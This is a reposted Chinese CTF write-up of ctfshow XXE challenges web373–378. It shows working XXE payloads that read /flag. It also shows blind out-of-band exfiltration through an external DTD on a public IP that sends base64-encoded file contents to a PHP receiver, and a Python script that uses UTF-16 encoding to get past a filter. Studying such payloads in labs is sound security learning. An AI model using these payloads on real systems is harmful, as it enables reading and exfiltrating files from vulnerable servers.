IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> ctfshow XXE -> 正文阅读

[PHP知识库]ctfshow XXE

xxe

web373

有回显

函数介绍

libxml_disable_entity_loader  #禁用/启用加载外部实体的功能     参数为true时为禁用,参数为false为启用
file_get_contents('php://input')   #简单理解就是接受POST请求方式传的数据
loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD) #通过解析一个 XML 标签字符串来组成该文档
simplexml_import_dom   #把 DOM 节点转换为 SimpleXMLElement 对象

$creds->ctfshow 获取页面中的ctfhsow元素

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE  xxe [
<!ENTITY xee SYSTEM "file:///flag">
]>
<root>
<ctfshow>
&xee;
</ctfshow>
</root>

web374

无回显

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__); 

代码都差不多,但是这个题没有回显;先写下我刚开始的想法

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE  xxe [
<!ENTITY %25 file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY %25 xee SYSTEM "http://82.157.161.5/xiaobai.php?1=%file;">
%25xee;
]>
<root>
</root>

将使用为协议读取flag文件,并将其作为参数值发送到公网服务器上;没成功,不知道为啥????

网上找博客看大佬写法

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE  xxe [
<!ENTITY %25 file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY %25 xee SYSTEM "http://82.157.161.5/xxe.dtd">
%25xee;
%25send;
]>
<root>
</root>

注:这里的%25其实应该是%,因为chrome浏览器直接用%会报错,要用%25代替

思路是:在公网服务器上建一个xxe.dtd文件

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://82.157.161.5/xiaobai.php?1=%file;'>"
>
%all;

使用php伪协议读取flag,再在公网服务器中建一个php文件(我这里的文件名为xiaobai),来接受数据,同时这里面使用了嵌套实体(不懂为什么要使用),不用就得不到flag

web375

过滤了<\?xml version="1\.0",本来想了个骚姿态(把编码方式和版本换一下顺序),但是发现不行,payload和上面一样,把xml头删掉就行,没有影响

<!DOCTYPE  xxe [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % xee SYSTEM "http://82.157.161.5/xxe.dtd">
%xee;
%send;
]>
<root>
</root>

web376

大小写过滤,没印象,因为直接把xml头删了(啊哈哈);我又回头试了下前一道题,发现大写了也不行,所以不知道这里加个/i干啥

web377

过滤了http协议,我的思路是把http拆开

<!ENTITY % file SYSTEM "htt">
<!ENTITY % xee SYSTEM "%file;"+"p://82.157.161.5/xxe.dtd"

不行,寄!!!

看大佬博客。写了个python脚本 utf-16编码绕过

import requests


url="http://813f9987-7aba-4dd1-b779-0cb3059fa45b.challenge.ctf.show/"
data='''<!DOCTYPE  xxe [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % xee SYSTEM "http://82.157.161.5/xxe.dtd">
%xee;
%send;
]>
<root>
</root>'''         #js代码
requests.post(url,data=data.encode('utf-16'))

web378

我以为这道题是最难的,发现并不难(可能做过xxe靶场,所以这样感觉)BP抓包

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE  xxe [
<!ENTITY fil SYSTEM "file:///flag">
<user>
	<username>
		&fil;
	</username>
	<password>
		&fil;
	</password>
</user>

总结:所有题目进行BP抓包时,都需要进行url解码才行

还有很多知识点没有理解,还要学习,学习,学习!!!

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-04-07 22:26:59  更:2022-04-07 22:27:25 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/23 6:20:13-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码